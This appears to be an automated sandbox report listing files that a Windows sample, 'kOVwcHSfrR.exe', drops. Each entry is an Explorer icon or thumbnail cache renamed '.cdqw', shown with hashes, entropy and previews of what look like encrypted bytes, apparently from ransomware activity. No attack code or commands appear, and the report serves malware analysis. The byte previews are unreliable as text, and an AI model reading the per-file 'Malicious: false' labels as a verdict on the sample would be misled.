SSDEEP:	6:OmP3vPnfpRdY5EdS9hGC6csiC4HmKUuIOnTe/VqReuXnyKowfw5XeWcii96Z:OmPZP6hGuFCZ19OTe/VLKRoqw1cii9a
MD5:	5EB937D8A47EF8DC620D0A18F69D25FE
SHA1:	0E7736D5C303EF5B51ECF0CEE45FCF411D54BBFB
SHA-256:	E6B744599AF15EE26E663AF76E0AB70CD5E263944A2E9C425C03567C9618F099
SHA-512:	5E1108746DB7F77E1C7EDA016790528DA4EF05947D8637F4E5BED6A1FF4D3E2ADEA4C97203053A3EA6B732EE4E2419D7CA1C751E3EA892F980F915A6A5560B80
Malicious:	false
Preview:	CMMM ..M^.t;og^.z.g.<........\..G..a.....s.7....NZ.....Y..e~-...b=.KmQ.\...X w.f.$.f.L.u.....gH0.n..+.6,.6..{......\...\|...Z.%%....4..P.+.....t`.Gyq=T~...yI?...7.mh.}P#O.o..7.....>'...e$s.G....%..? .&..~!......MU.m.....u..f...x....6..Ws......(jlh...$_...U..P-..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.29730337435442
Encrypted:	false
SSDEEP:	6:ADS5fTJQYkYr4l6Rs+wBIB2H/YNazsXD+VRvKZEYR+wRmPDowfw5XeWcii96Z:oS5fT8Yr4AGIBHgq+VRvK6ORmPDoqw1X
MD5:	A6980C69371B69B232BE5CAB21B3ECF5
SHA1:	04854043F8EB90F723C0EC9F5CA1615A681EEEBD
SHA-256:	4718544B91074C61120C36A8EBADD8844CA80F7960F3D17E45803086AD1BCD7C
SHA-512:	C54D7F06327418BA780FCF9311B9F57952C3AB6C2696DD6B2982D169FC9EE8D9819ADC7660CEC7C51AE9048624257F99C644EA432C592879F7C58A6790598121
Malicious:	false
Preview:	CMMM ...I.o..bo...\|...#.@3.D?..Dd.`.% .....E.3....i..{..+.h..`7..D.]s..#.@...).....F.I.e....\@.W.'.}XL#.y.B...........-.nYg.2...m+.a.....^3...6..bH..&..8..>.XCH=..+..j.j$..O...d.p..r.0S...g.........O..V.>..q....U..#............^.#h:....N..z..hs?fg]...Be.e&.....\|.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.334470170084769
Encrypted:	false
SSDEEP:	6:gqKsC35P83ALMjgsRs2r8D6rnKbra9gj4i3Aamg/eliEdy6Dsowfw5XeWcii96Z:vHerLMjCM8GrK3a9gIVlLduoqw1cii9a
MD5:	4D9971E96B2738564E269FB53EFCA730
SHA1:	CB71E6C2731548B2CFB855C64CB6507ADBDB52B1
SHA-256:	08C7381C5AFDE5B9706E35E0F62BED3E6D0BD9265A058FAB01DDF05AB5036569
SHA-512:	EDE6908EDAFD1E45F5525CAB79AA78C7875F2512E7E1EA4AB1CBF91855CE95965D8ABCE0DFC4C01EE37B070EA2958E7723986F84F151AF10F104C999C561AF14
Malicious:	false
Preview:	CMMM pu...O.....l..`..Z.Z..z..\|R...U..(W.{z3..<s...r..).2.....I..Q-.r.i0Q..6...U1.@...k..0.....x...u..{h...z.......5']..Q6x....+.8.%c..W`..!^..c4...$.blu.....>.....?..4.....\|Z...jGVP.#_........U .....W...q...0.26..k....)s..c.p.-...>9\@.+*.w.C3..T....Dd.o.1f(..9v..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.237200440947638
Encrypted:	false
SSDEEP:	6:bsjkbD7on6fasH4M+PIrU5N4Og/FLN3aVSg77uDkr1owfw5XeWcii96Z:l/sn6fZH4MmIAf4z9Qlr1oqw1cii9a
MD5:	9A7233EB6C974FB09FFD50B20D4429E2
SHA1:	79ADA78549762B1D19010C3087D55A05D086F77D
SHA-256:	5906F4449C4187DC0BDDDC7A5B6B34414AFE68D80169A9169C2566B4CC9F5946
SHA-512:	B937D1F233892F3C6D7CCB5ED0903A3EA6579C06C79172D55593AB7352078924727A40E0E5C6E419FB2E417C0AEBF21747EE2FC8AB7C2A49C8E1A5016FA52B4C
Malicious:	false
Preview:	CMMM JhD....V...d.9.}CxV.7Y.. S51G.9...l......+WL.....(.rxHZ..JH..<D...."...4!......-.i.[>.1.H.x.....kN?\|........9j.Va....+q8...ZT.G..m.....p..X..;....&.b.x.H.2............u.spD...'..$1\|....B..I}.....j.Ub..f..d..&........:.K.h...*....qJ.m.U..UQ^.(9z...Jl..LkH..?...VTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.270206813826923
Encrypted:	false
SSDEEP:	6:/9lnUZKy47N5mEax4Cz6Y7/Ooy4Pjd5QqrJyVZclMGI8OtDbowfw5XeWcii96Z:FlIwmEaxPedZ4b/V8VZclMeOxboqw1cq
MD5:	9F0F9771E05927236EDFC3551D551D12
SHA1:	2EF4DC7918E1510D8E03EA3F05512A93CD7FDB6D
SHA-256:	24B32CEDA55EB984A617B0EC598DE14E8C871B1840E1F6A3900909241A49DFB7
SHA-512:	91C8A8D3A2CCFFD724BA61051A51D5E7B9A89E433560A9050E816903CD223BC641739D48D42F9709CF82536595180A0C1CA3E8EF81813D040CEDD4C2AB7B92C9
Malicious:	false
Preview:	CMMM .kB....H....Wi.._A.tIjL......~...0`f..~..=..z.8.o;Wg...P.b1%.\...K.48H.I..d=..'.H.g?..3..o....'..:.],).<.V_\..I....Q.....o.;4$z.......x...s.c.W..\...%.6..w......P/.....5.]..Fl.)....t@.Fp.....]B.$aS...6q.N#.3.khl..,....'......?<...f=...n...?J....u.E.Y....>=W.Z..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.331315883501744
Encrypted:	false
SSDEEP:	6:CCsXpNZoRoGBUspPOzIFJyrkD2giEcTcHoy6Ma0hriivAWYowfw5XeWcii96Z:CCEtoRX1p2sFJr2XiB5Yoqw1cii9a
MD5:	CEF4871E63F717CEEFA3E9A2C15D84F5
SHA1:	690541EB07E8D483F5684C4AF46BF77108730253
SHA-256:	FEB27EABA4ED0E035E2135FFAD1505DECE00A1A623BEBE69CA39CEA11F380355
SHA-512:	EF9B2CE71E7931300752173C1BD56CC213F2731EAD6A16E16DE036761527D65508FB8879B5C9EAEBD0328ED6131F4E860B01D5DB8DF917C0600CA4BC5B00C335
Malicious:	false
Preview:	CMMM ...t...m._$.....?..%e...Y...(......L..x.M..cJ.g=..X.s.....o.'.8.z....r.4pn_3^ ..5..n.IE%..w{..x..n..L.$.as..F\|.)tN.i\|=c...ox7.R8t..+#W..7.G...j.@j..~..Z...=.z.t.....!y.H...U...\Q..Q....K/l..7.E.#...P..]x.8].l..s.eGo....L..Y..@...q....0.X.....p.X.hf...W.i&.o.Z.."jTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.217891015074966
Encrypted:	false
SSDEEP:	6:SKA3kqgjk9xFZJwoeaitJJwK6Tf4xYF6nW7lOP0/QXxQ6dwowfw5XeWcii96Z:SfkqflYyT7F64jq/woqw1cii9a
MD5:	249C296392F572A20F04C8A52C70C9D4
SHA1:	697F00BB97BD82F73D8CD53EAB9FE63860CCFD6B
SHA-256:	B12EB40F17FD693B2D7C3B7BD113BB905D3EA2D5C19A58ADE2B45F43E4AF2785
SHA-512:	69E5BCA6B6E8B3193D1132EB5DD40D34A661CC39E0DD507BB2F4EFA71A49DF2082E0677697E20CCBE35973B8F5E6D95B9666F24E80FC952777B3F0E9B85E6DE2
Malicious:	false
Preview:	CMMM ..UJ.9.h.fc.f......n..X..80p7.~.. .e...i..I..HkX.....5z.fV.-.q.Y......d..T..F............Xq..? .B>..<x....;....HU&.....y..(j.......fM@?.8}.....I./.=.w....p...T&f.K{[...F..o.u..H..E.......g)I.....(..UhlN.a0H..6.t&...e.n.mNU......1w..;..{.o]....../J.S.].....Y..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.223315536052219
Encrypted:	false
SSDEEP:	6:tQQax1TKven/SYUtN8ctsqiEY1a1uoMKL2sT5CbyHUyTs53v8+CBowfw5XeWciik:t00veK58ctsB1a1uSisT5CkJo3vvsoqa
MD5:	DA5537BB3B2007286C2D82BCBAA9174A
SHA1:	C598F5197D4A586EB6E6047759684C3556734A76
SHA-256:	B537686D068E1C018D486CB9423AF97F1111FE680307583C139F555045BA3A45
SHA-512:	DEE54B59AAC94D5BFB03127867904DE36ECF72549B3559819B2A4F38DA36594F61035D66D1C803CE2FED74775DF3D82BA7B656C633CDE7F7B23E4D4B12A88441
Malicious:	false
Preview:	CMMM ..07./....4y'...z.\|....h....k..i..}.{.7i.o.i_.I;.n3..0,.......'........g..)`eeT"QeO.......S......>..z~V ..M..M.s...PC.....Y...go#.i.W..h%..:2.}....\|7.4P~tl........m%L..ro .Y..S.~.H...g..U.....U%.T6.e ..[_x.D.hx.Wt?..2...}.&......v.>...k..9.......(.`J.f[.%..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2857145905405165
Encrypted:	false
SSDEEP:	6:pAaNWYCSarQtMsJHqfFcwBkOna77Bxswcbrs8vXjGVWNAUsgrsowfw5XeWcii96Z:pAaNH1tMCs2wBkOna77grssKUNAQsoqa
MD5:	ACC14DB6940FB234D980D494F9FC1AB6
SHA1:	CACDD106180D1970A098876DD8CD78506CFECD57
SHA-256:	73247D4CA3A5237F699C8E149E12532C806D6CFCAE13E95C9CE894FA66EF979D
SHA-512:	274D363FDCBE40FB31F2B7B800C74F75312FE9E668D2774EBB574C43E4AD0B32D0449835C8CEF8AFB72FA4693F713E27277C8596A9BA9C42BEC1B6E14796A727
Malicious:	false
Preview:	CMMM I..cU.5Nq...P.....B.]+....\|..........Q.L..:.oD#.pqw.\=$m.bI.>...%1.%.6+.`.C.0.@v.zy.....Y....4.h....D!.....~iH4.=....d.Eo/`....c.^5.D..3l.(..R.....U9{.cub.=?...K.O.S."..X..P...+.......... V....?..:s.f..UQW.<..c.-...>.B@8..^......]a.J.Z.%..%1.>n....GPf,.ETkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.243319515208373
Encrypted:	false
SSDEEP:	6:sXZ0xRzWt3w7bciLoBdHJFuPJCZ0nZwqqcl8w62GstxOBHowfw5XeWcii96Z:YORy+bDLonpFk1wdyN62ONoqw1cii9a
MD5:	BDA662432C75C393A725518F7E4DCB3C
SHA1:	E0FE79A110B77F0C5AE94393CE292ECA5537AEAF
SHA-256:	2BED2C263B8136CEB3F784E681A3CDDB49FE0CBD87E5773D07B8F704C0B8FC04
SHA-512:	A20FD2C522C7C01AD6D89307E8D70241CF6DB462AD3CA0494200F0DA950FDC2BC66ED12A812AE85377EA4489C36F3083F4C75463E98694CB319917146CD2C8FE
Malicious:	false
Preview:	CMMM ...i+...(...3...wX..\|R..c.C.t^..;...L.......[.zJ{3"..6....\|..5R%.......J...iE.3{...^.c.<y`..}o....Z....d.B@.G..7....!.....;.1.uy1...e...b...L...8...$.E.-..8..1t...HB?K.....O....d.g..(.l....[o.U).H.R.......L>.p[.*.r$....tI.E.I..s .3U..}.._..~[..O.n. B.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.269216006959212
Encrypted:	false
SSDEEP:	6:Oru5WpqLAz0mH2PvTqBicCToGZLVuAXV2cwWQVwyqN9sYSvz7owfw5XeWcii96Z:Oxp3HINcGu82wNN9sYSv3oqw1cii9a
MD5:	93D180A8D0BF9CE4C319E0E523FFCCBE
SHA1:	7DD2C27D936932F391E0EF3505B9273B33129CB6
SHA-256:	6821FB7B91796B6A3D816372235455899B4F125EA12DECCA8792AF6A15862C39
SHA-512:	90BD7AD10D0935FC1DC4D765CE5B8FFD27EE2120E21FBB92D6859903B9168F59C9C3E49DF780B9415C75628839E8C062EC906C376893E81520491A9047F44197
Malicious:	false
Preview:	CMMM ...c..$...6.\|u\.ok....CM0h&..8..g 9.,..;..G~.V.Y{....!I..".R?+:......,.*E........z....._]..$.T...@.4..X.....lr...i&hP..u..H.R.I..nA....)<oi.>...Q3f..T..Z......+..0_.n.7.F.C.F+e..{...m.G[...M..........A....w.U.e_x....!...?.=.'\|1N.}.....(2.?.Y.)#.X&-F..V\|=..H...ws.yh.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.24387742286262
Encrypted:	false
SSDEEP:	6:JwNc94BYALRCnDlzjmvTLFTBnHXSFnRTn5kilD4LyKkHZgBBjywowfw5XeWcii9a:+Nc9WYA9+zjmLxTZHXSpx5zD485gXoqa
MD5:	937CA74300067ED4B1B6E424EDA4973C
SHA1:	FD8C52787B71FC4480657246B72FB6EBA1289E23
SHA-256:	59B33194AAEBAD7EF57660BF0ED64B99369B729E969BF8B7ECC8A865E0E0F45C
SHA-512:	EB6D499C326AE05C6838BB588454E8273D7E92BB82683517216DD817A8A14AA8D206C79B0D65D5634DC5B829BD133A55D6DCE4492A236E2CC76678F4FD405F95
Malicious:	false
Preview:	CMMM ..{{./WE.U.}X.fUB.....G`r...C.1..s...F~]#.F.....y5$&J.S.S.92.........AOi.L..-...1-.....V4s.A.V......q.&.X ...hu.s.kl\tS..n..a..+..?R...G..._..")..R..7..G.RU.D..v..piatd%Z..?A.x\bz....K:..a.aO].Z.yn.w;....VZ..5.&;..e=_.X.@{.A....t.D....C.r.............{.%u.sWTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2294076437241666
Encrypted:	false
SSDEEP:	6:iL8VT0U4ySLxJI0n3smmiHOuZNS6sUBxGhOfNCl1ezJx23mgMqUMNowfw5XeWciD:o8KU4yOxJL3dmiuuZNStdhO8iI6MNoqa
MD5:	DCF7FE32905615798D4A2857E241FE53
SHA1:	D82D6261F30888026F553001FBB2F93FE29FE10B
SHA-256:	B1C63F5451DD909B45CC3D97ACF235B8982C97BE3698D0197B229521D719DACE
SHA-512:	D7B52A8A6856F1BD6F2E1EE2B6407BE0E5618FACDAF351FB3F65F7B8A454B0692A2B500532017B4C47F34B5906324111F2592C3FCC9619EB3EE58BB41415C73E
Malicious:	false
Preview:	CMMM ..o]2^..._....j@;..[.G.qX.}..1(a....]..Sx.L\|.....(...DJ\Aw......8..AU%pV)...'H.8.-.V.jh.f.R.nz..$.y.;x.M....X.......9D70..t..s"........v..vj.\-..*,D.0.(.0j..~._F5.~}....T...+...N....'E...h..mI.f..FZn..XTz.......V....N.K..>k.....F........ '......_......J{..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7684077615628462
Encrypted:	false
SSDEEP:	3072:B/+G6ylYUSXiXLvMJPKNncqvdla73XLaYqio3feWAD0PQF8jsUmkrLSzjZVi:BUi7DNn473XLar3NPrckrIg
MD5:	732D2486FA0937688B16B0D24E952115
SHA1:	6231960502FDE4386A6CBB1B348DABB0C812A0F8
SHA-256:	41AF27CA2CC8034A6BB8409AC036F60EB775E80128FD9020E8E7FB00E89069C2
SHA-512:	10F6DE158E626A6356898D061E2370A105DB8D48561DE2D988BB9600D9B34D999BC579BC36823F632ADB4AFBDEE65B23F20A80D1196EE791587C2C2013F72361
Malicious:	false
Preview:	CMMM \....5./V.^..(.........Kv.+g...M\|.\|.r.....8f..J.........>...0$.l..Mb.x...Nxs...X..w...>..?b..E.z..,+U...N.a..b;.1(\|l....d&.... .Jt....t.$K..Dp.pkL.. .M}...Sd......C.k.2;..4..T.n.BZ.....r94..t.x...-Kf.......z!~cY."OK..!..j...,....`{...=..K........al.. YF>yx.Ir..#.....M.......^.C..\|{\.X...........)L.&....J...8.O9..c?u.sBN}.M.ro.I<.?...\..iv.a.....Z-..w..xx&.c...X.V5.muq..03.A..b..t."..zf..;.O..a.P....7....%.{.. $..G..+uW...z...Be;..i.5..X...A,.]...f.W.Q.'..Q6...d.Y...0..va.92...n>..<..=9.. ...0"9......s.....@.......!...<........k..9....=.&f.~.[....gr.,....@\~#.9...%..L..o.O0......+...n..g.jv.z...iz.}8iaV...m........u...8......`L.....d....'.tN(...H........t..A..8.U.2...b..6..@y...XI..E".A.,......O.~/.aUK.A..2...1...?PN.......P...\|...VFn.".7...@_....wB...I..cU.g]......v..e}.....E..Wxu.H.iS.i......:.)q....bN....!.p\.........X..Z7#.....F.0.....E.....B.....q.8..M]M...}/*..H.4.o,...=.$/'.Q&.kc.r^.z.._..(.+N......p..p\|..p...>q.$....0...

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2694751977826995
Encrypted:	false
SSDEEP:	6:abttj2tom448a6NSDJ+HwEZNAn5umdnyLC4PqWwJkOk15t81EDsowfw5XeWcii9a:axQo28a6OwdknMRwub5woqw1cii9a
MD5:	36758E60011CBF28E99F1B8A6DA4920B
SHA1:	F8624018CF66C367685014B5F4B37AD32B5BDC42
SHA-256:	2077E20668672CC5F02961C0A58A81CC5506AA71DB7B50ED6C3B3B91711B3EAC
SHA-512:	57E850F1CD29D1E4F5BF91BDAA518AA809318BC575D3DA46A7C0C9D70464987E5C761256BF95F022DD90D9F756338A43473CBB11D61A43DD0608AE50523109D5
Malicious:	false
Preview:	CMMM ....._.B...}z(..YZ.}R....j.kfhB...........z..g$ew..../....V..r....9tp2...$+\|.........!....&.0/..@...Y..1#.-......$.c.V...fC[..B"B.s[.{...0.G_.k.:..r..:.z....q....Y.tc......k.....H.[.b}..D....k..Y....v.8..{.D..[.....F....H.+..6....#...G.p.u?+..Y.b.<......H...uTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_96.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.1270318435670905
Encrypted:	false
SSDEEP:	24576:dbILLpsihVnmNVf2I8wHXEH9KPaBCr/5TO4ImqrYEFtxNVPXtX6we:uLplrnmNVLgH9Ky0r/s+qrYEFtxNVPC
MD5:	330EF6FE7933D8308BBF034E3FA0FAA6
SHA1:	AB62D76F0F2F3E64635D8B13080ED78A6270C70D
SHA-256:	A06149B4C4949C91258CA85576FBCA5A37207DFED4CF3EE5AB34FEEB9A190A9A
SHA-512:	C975BE6E1F445D862ED276ABE89A656B701C8E435E606A6DFBBC3C6EF1A70FFC9A102C0AA65C96411FE1FBA7EC44576A15429A44A2DF385A8CBCC25465A0D83F
Malicious:	false
Preview:	CMMM .._q..+..E.w4^._p...0..8f.6....M.A......au.V...S`..9q.n9..@.-...e..=m..,.W...<@....d......)....I} .Uh>.7...+..8.fF....Q.Zi. .p.N4&....i.J".2c.7.E5.k.U.P.7k....V.Su....-./..Av......4.U.e`&...!&l.[`ce%2,.Q2.`-.u..#..`7.bYo...H]l..N.J..t>r-..u.0..........Wv.8............ ...@...f.....(3...o.qC.......v......D..n...{.._n. Rd.pmW...\|}.v!!.\=........:K...C..t...D...Iu..\.{.".4..w.T..`.Wt....+.q..mtV..s.....je\|:Kz.^...,.JW<......\|]..\..X....O..qhAE..Y<.r..~R^.b....:.\|.T{.L4..3.8.O4-.5e.I..C.'.....G....bF..h{.;.K...V.6..n.9r5.Na.Y.o..S...8..q....QO.S.>.S..).=IFj.7S.[..?\.:.<a..'.F.M....p4...yh..(.2Xc..p..JGh!.^.?Z......a.@V.jM,.(.hDO.~.xi...i<:.#.....V^hKq.q..........:...u-..k.V.O.m.E....Z./.f.y....bZ...n.A..k.1f5.......W.+s......gZZ.f...a........c......@\6..m..E...5..]..t/V=......mS.4.....F....:...e..%=....ha.P{x.J.Na.EY.&.Oj..N+'^.&...tB..T4.Ed.;8...a.....}....~I4.1E!..f+D.!....@...F..z..........hV....,kU.;J.......#.. .6^a...c{..j..<

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.327865343334491
Encrypted:	false
SSDEEP:	6:I3f4xR1oo8OZweATTSlHeTp4Y+eVt6NPpnTHtVrlHMuq5H3owfw5XeWcii96Z:wf4xMo8OZMTTSfYdgtY3oqw1cii9a
MD5:	BBCFD95AEC568C88C1A1308AE187E328
SHA1:	FBBEEC6F02F1D05E7A9C61BCB3679479B952D759
SHA-256:	DAAF7ED586471094AFC8850C1FE29B2FBE381D6E2ACA3610BD968AF233FF71F8
SHA-512:	F1BE9995C6C442F031940BBE6ED8C0EA257F2454F966C0D1FA74A8D535A0DD4E00C4BAE7A6F30F7A11CF53CD22A7B8A3AA55B5251547A8751C8864E05EE4B3A4
Malicious:	false
Preview:	CMMM ....(.......IW.....`..(.......\|d.l.:.r..N..AJ....,.y@.f..9\|... .2`.<....s../3Jw..3.r.. ..q...Aw.N.J.&........l.+...@.8..F.!.&......N..n/..0...P.."2.\..n.I.h.Z.......r.9.c..*..E....,CB..G...yy^.vsej..x....\|.o...F......n.D.XJLK..G..g..y]~._.....^.dH>...u..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_exif.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.304654685434239
Encrypted:	false
SSDEEP:	6:YS5WlElkURaJubEioLWnVQxvVvtmF0OADHZRYqDR8yIY7gcViPUYjlpFe1sowfwd:j5wlUSPknVQxNvtmPAD564R8bZVemoqa
MD5:	E84E0764352764193361BB718DCC44FF
SHA1:	DB5ADCE4CA59F25FC6074E9D31F2900686B237EF
SHA-256:	6D20E79256013B24625AD3B8801E85EBAAB37C763D3BC44E54B562B782AFCB93
SHA-512:	FC2F2C204F2E649973F027D5F64CA8F1960F65E8251C8375C913F673DA64A085DF0396C85BA07FEE5F1AF0A27664EA64FB188C4071AAA54208B383B01561D713
Malicious:	false
Preview:	CMMM ........3v.sB..Ca..X... 7n.....S...E...Z..n.......,U...l..=..bZ&....Ycq<.-........e......P......B..\...<4Y..K&..\..ud...~..R..5.0...)...iS......I..s5.....{...3..[..O.T.@~UB.....U.1'>.Y.....e?M..g...).f.X........8........a....Ap..N.\|..9P(9...2.&.o{.Q)q.F...:QTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_sr.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3097107976625635
Encrypted:	false
SSDEEP:	6:79Ae1BTSnTJkLqJWeS9a4zF/dmCaKZTlqTi0VT/td8Q5in5rDbowfw5XeWcii96Z:79XvTSnlkeYeSfmZIY2cT/xin5rDboqa
MD5:	68CC68342DC42589FBEC817908AF4CCB
SHA1:	93DB97CA22A3DB262169990D836816AE6FFF3C5F
SHA-256:	E08902057E6E220819170F75BCF267B08C88A84C6D82FDB63DBC7EF9DDEBEECD
SHA-512:	625F8A99961B6877E419FDBE2A498B5D4EC62F30F1592E0D961782EF2B308B9623E1C805DEB358E1135C4AE8BA8AF3FFF96CD796A74BC1B732F299E5F7A620A4
Malicious:	false
Preview:	CMMM ..%U..g@Qf3=.u...e`l...S.a.eiP<.}..L...O4...........IH....O..........?....v..3..j..K..O..^I/s........x.."....e.......]....@...E..%..7.]......$.....@...KG'...y...j...6.2..o..8.kc.dz.!4.?;.;.Q.....d(c.x....-.@.`u?...zt....+vc}..Z.w..N..._>..D..8...&%...T...a...=.v.j.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.235325581891128
Encrypted:	false
SSDEEP:	6:I2BAcCoB+SgGAMCr1e3JSV9+Y2I1uEdgA7SVCCFJgFzXo+0Osowfw5XeWcii96Z:ItzYpChe3EHdMDmzXlsoqw1cii9a
MD5:	24B71FEF7CDADEBB77CAA596A18762C4
SHA1:	5F3BC690F7FEF402260216D4859FB8938BBE1405
SHA-256:	4D1B0075B8DFFAC56A615DBC9C81FC744CC20EA508A2542F0F6274A5DC66B2C2
SHA-512:	1CE1DDFF229407CE7ADBC31F9ED4CB2A145983EFC1D33904918739B92299E19353CAF036EEFDEFA86369EF9D1D4AA9765460A0F9D433989B385C62E6A7FD2D3F
Malicious:	false
Preview:	CMMM .}....E.z{h..G..%.f.n?..d`......j...4.0"!l_..B..S ]Q.Wi~.......i.7F,.)......c...B.:L7AA...+X.m...Q.=B0.{.n.a.s...M.8....m (:e>yML.&=bG?WH.....Y.d.k..N.eG..l.1....6.g9!....T].g.5m.Sy.:@.=..+.&....V7......+.]?.....6Y"Tu..&........x..r..M..v5..KnV..+......Z..f.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.330180766304629
Encrypted:	false
